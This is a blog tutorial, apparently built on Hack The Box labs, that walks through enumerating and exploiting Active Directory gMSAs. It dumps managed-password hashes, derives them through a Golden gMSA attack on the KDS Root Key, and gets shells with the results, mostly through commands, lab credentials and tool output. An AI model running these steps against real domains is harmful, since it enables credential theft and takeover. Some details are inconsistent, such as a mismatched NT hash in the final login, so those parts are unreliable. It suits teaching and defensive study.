Post cover image

July 19, 2026

Active Directory Attacks — gMSA exploitation

By Osec

7 min read

Group Managed Service Accounts (gMSAs) are a specialized type of Active Directory account designed to run services, scheduled tasks, and applications without requiring administrators to manage passwords manually. Instead of using static credentials, Active Directory automatically generates, rotates, and distributes a strong password to authorized computers.

Technically, a gMSA is an object of the msDS-GroupManagedServiceAccount class. Its password is generated by the domain's Key Distribution Service (KDS) and periodically rotated. Computers authorized through the msDS-GroupMSAMembership attribute can transparently retrieve the current password from a domain controller whenever a service running as the gMSA starts. This allows the service to authenticate using Kerberos or NTLM without exposing the password to administrators or requiring manual password rotation.

While this design significantly improves the security of service accounts, the managed password must still be accessible to authorized hosts. As a result, compromising an authorized computer or gaining the ability to retrieve the managed password from Active Directory allows an attacker to authenticate as the gMSA and inherit its privileges.

From an attacker's perspective, there are two primary attack vectors against gMSAs:

  • Reading the msDS-ManagedPassword attribute : Obtain the managed password by reading the msDS-ManagedPassword attribute, either directly from Active Directory through delegated permissions or indirectly from an authorized host.
  • Golden gMSA : Derive the managed password of any gMSA by compromising the domain's KDS Root Key, eliminating the need to access the msDS-ManagedPassword attribute or compromise an authorized host.

Enumeration

The goal of the enumeration phase is to identify a viable path to a gMSA's managed password. To achieve this, we need to answer the following questions:

  • Which gMSAs exist in the domain?
  • Can we retrieve the msDS-ManagedPassword attribute for any gMSA?
  • Can we obtain the KDS Root Key (msKds-RootKeyData) to perform a Golden gMSA attack?

linux

Which gMSAs exist in the domain?

ldapsearch -x -H ldap://10.129.244.95 -o ldif-wrap=no -D "pentest@pirate.htb" -w 'p3nt3st2025!&' -b "DC=PIRATE,DC=HTB" "(objectClass=msDS-GroupManagedServiceAccount)" sAMAccountName

Can we retrieve the msDS-ManagedPassword attribute for any gMSA?

We will use the gMSADumper tool developed by Micah Van Deusen, available on GitHub.

python3 gMSADumper.py -u pentest -p 'p3nt3st2025!&' -d pirate.htb -l dc01.pirate.htb

Can we obtain the KDS Root Key (msKds-RootKeyData) to perform a Golden gMSA attack?

first we must see if we have a KDS Root Key

ldapsearch -x -H ldap://10.129.244.95 -o ldif-wrap=no -D "pentest@pirate.htb" -w 'p3nt3st2025!&' -b "CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,DC=PIRATE,DC=HTB" "(objectClass=*)"  dn

then we will try to audit its ACL / ACEs to determine which security principals have the right to read the msKds-RootKeyData attribute.

by default only SYSTEM and Domain Admins and Enterprise Admins can access the KDS Root Key, which means low privileged users can normally read the ACL of the KDS Root Key Object !

impacket-dacledit -target-dn 'CN=3d65e66a-0e83-563d-5905-0eb89bce80e0,CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,DC=PIRATE,DC=HTB' -dc-ip 10.129.244.95 'pirate.htb/pentest:p3nt3st2025!&' -action read

pay attention to ACEs that grant any of the following to a controlled principal:

  • GenericAll
  • GenericRead
  • ReadProperties
  • ReadControl
  • WriteDacl (can be abused to grant yourself read access)
  • WriteOwner (can be abused to take ownership and modify the DACL)

windows

Which gMSAs exist in the domain?

$Searcher = [adsisearcher]"(objectClass=msDS-GroupManagedServiceAccount)"
$Searcher.FindAll() | ForEach-Object { $_.Properties.samaccountname }

Can we retrieve the msDS-ManagedPassword attribute for any gMSA?

Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword | ForEach-Object {
    [PSCustomObject]@{
        "gMSA Name"         = $_.Name
        "sAMAccountName"    = $_.sAMAccountName
        "AllowedPrincipals" = $_.PrincipalsAllowedToRetrieveManagedPassword
        }
} | Format-Table -AutoSize

Can we obtain the KDS Root Key (msKds-RootKeyData) to perform a Golden gMSA attack?

first get the key distinguished name :

# 1. Get the current forest configuration path dynamically
$RootDSE = [ADSI]"LDAP://RootDSE"
$ConfigPath = $RootDSE.configurationNamingContext[0]

# 2. Build the full path to the Master Root Keys container
$ContainerDN = "CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,$ConfigPath"

# 3. Search inside that container for msKds-ProvRootKey objects
$Searcher = [adsisearcher]"(objectClass=msKds-ProvRootKey)"
$Searcher.SearchRoot = [ADSI]"LDAP://$ContainerDN"
$Searcher.SearchScope = "OneLevel"

# 4. Output the Distinguished Name of any keys found
$Searcher.FindAll() | ForEach-Object { $_.Path.Replace("LDAP://", "") }

then inspect its ACL / ACEs

$KeyPath = "AD:\CN=cc280317-5ea0-56b3-934b-86b85b4b8bd4,CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,DC=PIRATE,DC=HTB"
(Get-Acl -Path $KeyPath).Access | Where-Object { $_.AccessControlType -eq "Allow" } | Select-Object IdentityReference, ActiveDirectoryRights | Format-Table -AutoSize

Attack

Once a viable attack path has been identified, we can proceed to compromise the target gMSA. As discussed earlier, there are two primary attack vectors:

  • msDS-ManagedPassword abuse – Retrieve the managed password from Active Directory or through an authorized host, then authenticate as the gMSA.
  • Golden gMSA — Recover the domain's KDS Root Key and derive the managed password of any gMSA without accessing the msDS-ManagedPassword attribute.

demo 1 — retrieving gMSA's managed passwords :

In this first demonstration, we will retrieve the managed password of a gMSA.

We'll begin by enumerating the gMSAs present in the domain.

ldapsearch -x -H ldap://10.129.244.95 -o ldif-wrap=no -D "pentest@pirate.htb" -w 'p3nt3st2025!&' -b "DC=PIRATE,DC=HTB" "(objectClass=msDS-GroupManagedServiceAccount)" sAMAccountName | grep ^sAMAccountName
sAMAccountName: gMSA_ADCS_prod$
sAMAccountName: gMSA_ADFS_prod$

Next, let's identify the security principals authorized to retrieve the managed password of each gMSA.

python3 gMSADumper.py -u pentest -p 'p3nt3st2025!&' -d pirate.htb -l dc01.pirate.htb
Users or groups who can read password for gMSA_ADCS_prod$:
 > Domain Secure Servers
Users or groups who can read password for gMSA_ADFS_prod$:
 > Domain Secure Servers

The Domain Secure Servers group is authorized to retrieve the managed passwords of both gMSAs we identified. Let's enumerate its membership to determine whether we control any of the authorized principals.

ldapsearch -x -H ldap://10.129.244.95 -o ldif-wrap=no -D "pentest@pirate.htb" -w 'p3nt3st2025!&' -b "DC=PIRATE,DC=HTB" "(sAMAccountName=Domain Secure Servers)" member

...
# Domain Secure Servers, Users, pirate.htb
dn: CN=Domain Secure Servers,CN=Users,DC=pirate,DC=htb
member: CN=MS01,CN=Computers,DC=pirate,DC=htb
...

The MS01$ computer account is authorized to retrieve the managed password of the target gMSA.

We have already obtained a TGT for the computer account, allowing us to authenticate as MS01$ and retrieve the target gMSA's managed password.

klist
Ticket cache: FILE:MS01$.ccache
Default principal: MS01$@PIRATE.HTB

Valid starting       Expires              Service principal
07/09/2026 20:35:39  07/10/2026 06:35:39  krbtgt/PIRATE.HTB@PIRATE.HTB
 renew until 07/10/2026 20:35:39

Let's retrieve the managed passwords using gMSADumper.py.

python3 gMSADumper.py -k -d pirate.htb -l dc01.pirate.htb

Users or groups who can read password for gMSA_ADCS_prod$:
 > Domain Secure Servers
gMSA_ADCS_prod$:::8e142bbd224b307f3cb31752b29f4893
gMSA_ADCS_prod$:aes256-cts-hmac-sha1-96:8d16809c8d255bdbe03f59b2af430be9b01eb04cdcaae9b9ccbad91e23802520
gMSA_ADCS_prod$:aes128-cts-hmac-sha1-96:32b743325b86126e1ee03bce8cf99bcc
Users or groups who can read password for gMSA_ADFS_prod$:
 > Domain Secure Servers
gMSA_ADFS_prod$:::30e4066182bb2c81dcd950b2fbb16564
gMSA_ADFS_prod$:aes256-cts-hmac-sha1-96:eec5f35685fd8b90d155a5abfaaf1216fe42c6b5c7930c19c90eb86dda02322f
gMSA_ADFS_prod$:aes128-cts-hmac-sha1-96:1717b9cfc74380311406b1a38046e13d

Note:_ Although commonly referred to as the gMSA's_ managed password, the value retrieved by tools such as gMSADumper.py is the account's NT hash. Since NTLM authentication accepts the NT hash directly, this is sufficient to authenticate as the gMSA or request a Kerberos TGT without knowing the plaintext password.

We have successfully retrieved the managed passwords of the gMSAs. Next, let's authenticate as one of the compromised gMSAs.

evil-winrm -i pirate.htb -u 'gMSA_ADCS_prod$'  -H '8e142bbd224b307f3cb31752b29f4893'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gMSA_ADCS_prod$\Documents> whoami
pirate\gmsa_adcs_prod$
*Evil-WinRM* PS C:\Users\gMSA_ADCS_prod$\Documents>

it works , we got a shell as gMSA_ADCS_prod$

Let's try to obtain a TGT using the credentials of one of the compromised gMSAs.

impacket-getTGT -dc-ip 10.129.244.95 'pirate.htb/gMSA_ADCS_prod$' -hashes :8e142bbd224b307f3cb31752b29f4893
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in gMSA_ADCS_prod$.ccache

demo 2 — golden gMSA :

Unlike the previous attack, which relied on retrieving the msDS-ManagedPassword attribute, the Golden gMSA attack derives a gMSA's managed password directly from the domain's KDS Root Key. This technique does not require access to the msDS-ManagedPassword attribute or an authorized host. Instead, it relies on the KDS Root Key, allowing us to derive the current password of any gMSA in the domain.

In this demonstration, we will recover the KDS Root Key, derive the managed password of a target gMSA, and use the resulting credentials to authenticate as the account.

Before attempting a Golden gMSA attack, let's first determine whether the domain has a KDS Root Key configured.

ldapsearch -x -H ldap://10.129.96.153 -D 'INLANEFREIGHT\lowuser' -w 'password1' -b "CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL"  "(objectClass=*)" dn

# cc280317-5ea0-56b3-934b-86b85b4b8bd4, Master Root Keys, Group Key Distributio
 n Service, Services, Configuration, INLANEFREIGHT.LOCAL
dn: CN=cc280317-5ea0-56b3-934b-86b85b4b8bd4,CN=Master Root Keys,CN=Group Key D
 istribution Service,CN=Services,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL

We identified a KDS Root Key in the domain, satisfying the primary prerequisite for a Golden gMSA attack.

now let's inspect its ACL / ACEs

impacket-dacledit -target-dn 'CN=cc280317-5ea0-56b3-934b-86b85b4b8bd4,CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL' -dc-ip 10.129.96.153 'INLANEFREIGHT.LOCAL/htb-student_adm:Academy_student_DA!' -action read
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Parsing DACL
[*] Printing parsed DACL
[*]   ACE[0] info
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : None
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : Domain Admins (S-1-5-21-3842939050-3880317879-2865463114-512)
[*]   ACE[1] info
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : None
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : Enterprise Admins (S-1-5-21-3842939050-3880317879-2865463114-519)
[*]   ACE[2] info
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : None
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : lowuser (S-1-5-21-3842939050-3880317879-2865463114-7603)
[*]   ACE[3] info
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : None
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : Local System (S-1-5-18)

The lowuser account, which we control, has FullControl permission on the KDS Root Key object. This suggests that we are able to retrieve the msKds-RootKeyData attribute.

Now, let's perform the Golden gMSA attack.

To do so, we'll use the excellent pyGoldenGMSA tool developed by felixbillieres, which provides a cross-platform implementation of the attack and allows us to derive gMSA passwords from a compromised KDS Root Key. pyGoldenGMSA

The first step is to enumerate all gMSA accounts in the domain and select one as our target.

python3 main.py -u 'htb-student_adm@INLANEFREIGHT.LOCAL' -p 'Academy_student_DA!' -d INLANEFREIGHT.LOCAL --dc-ip 10.129.96.153 gmsainfo
Authenticating to domain inlanefreight.local (password)...
Connected to domain inlanefreight.local

sAMAccountName:         web_gmsa$
objectSid:              S-1-5-21-3842939050-3880317879-2865463114-7605
distinguishedName:      CN=web_gmsa,CN=Managed Service Accounts,DC=INLANEFREIGHT,DC=LOCAL
rootKeyGuid:            cc280317-5ea0-56b3-934b-86b85b4b8bd4
domainName:             INLANEFREIGHT.LOCAL
forestName:             INLANEFREIGHT.LOCAL
L0 Index:               364
L1 Index:               8
L2 Index:               17
msDS-ManagedPasswordId: AQAAAEtEU0sCAAAAbAEAAAgAAAARAAAAFwMozKBes1aTS4a4W0uL1AAAAAAoAAAAKAAAAEkATgBMAEEATgBFAEYAUgBFAEkARwBIAFQALgBMAE8AQwBBAEwAAABJAE4ATABBAE4ARQBGAFIARQBJAEcASABUAC4ATABPAEMAQQBMAAAA

Now, let's target the web_gmsa$ account and derive its managed password.

python3 main.py -u 'htb-student_adm@INLANEFREIGHT.LOCAL' -p 'Academy_student_DA!' -d INLANEFREIGHT.LOCAL --dc-ip 10.129.96.153 compute  --sid S-1-5-21-3842939050-3880317879-2865463114-7605

Authenticating to domain inlanefreight.local (password)...
Connected to domain inlanefreight.local

gMSA Account:  web_gmsa$
SID:   S-1-5-21-3842939050-3880317879-2865463114-7605
NT Hash:  6329112f8f6f9b9b01a9b8ec114d0097
NT Hash (LM:NT): aad3b435b51404eeaad3b435b51404ee:6329112f8f6f9b9b01a9b8ec114d0097
Password Blob (Base64): Bqb1IPojG1U8l6/ysLyBwiyWpBcMGDfsjaGpUy5jAQj1plIAMVx+Gqd4Xg7N6W89E5mYwX4WhABDCfSA2YA8SRLIKu69lAXvgCw1SX6QqyDhvKDr+CwLQW0NHS1fM2N47kF47hHm8Rmut9cjnrAZAj28ucWFMu2KwETkktU3B0X3oMit5Z3y8LgvrgsHOd+IFyQMZKWn1kZtk7QSjaWDcHELH8spLAKpmpcGBn0yU49S4ocKeM9AUA/nPasNnNY6cvhqOWrzIm+0FgJrdqxZtyndORrj/EYJdExCNQwittCejXg4OcPhBDrJt04kFDE/T5WeQ2zuB+UsWwvMobdMag==

We've successfully derived the web_gmsa$ account's managed password and NT hash from the compromised KDS Root Key.

Since gMSA passwords are long and randomly generated, they are typically represented by their NT hash.

Let's now authenticate as the gMSA using the derived NT hash.

nxc smb 10.129.96.153 -u 'web_gmsa$' -H 605e25f48a1fc98c4c7acfff5abbea2f

SMB         10.129.96.153   445    ACADEMY-EA-DC01  [*] Windows 10 / Server 2019 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         10.129.96.153   445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\web_gmsa$:6329112f8f6f9b9b01a9b8ec114d0097

Success! We can successfully authenticate as web_gmsa$ using the derived NT hash.

Follow me on X : https://x.com/osec403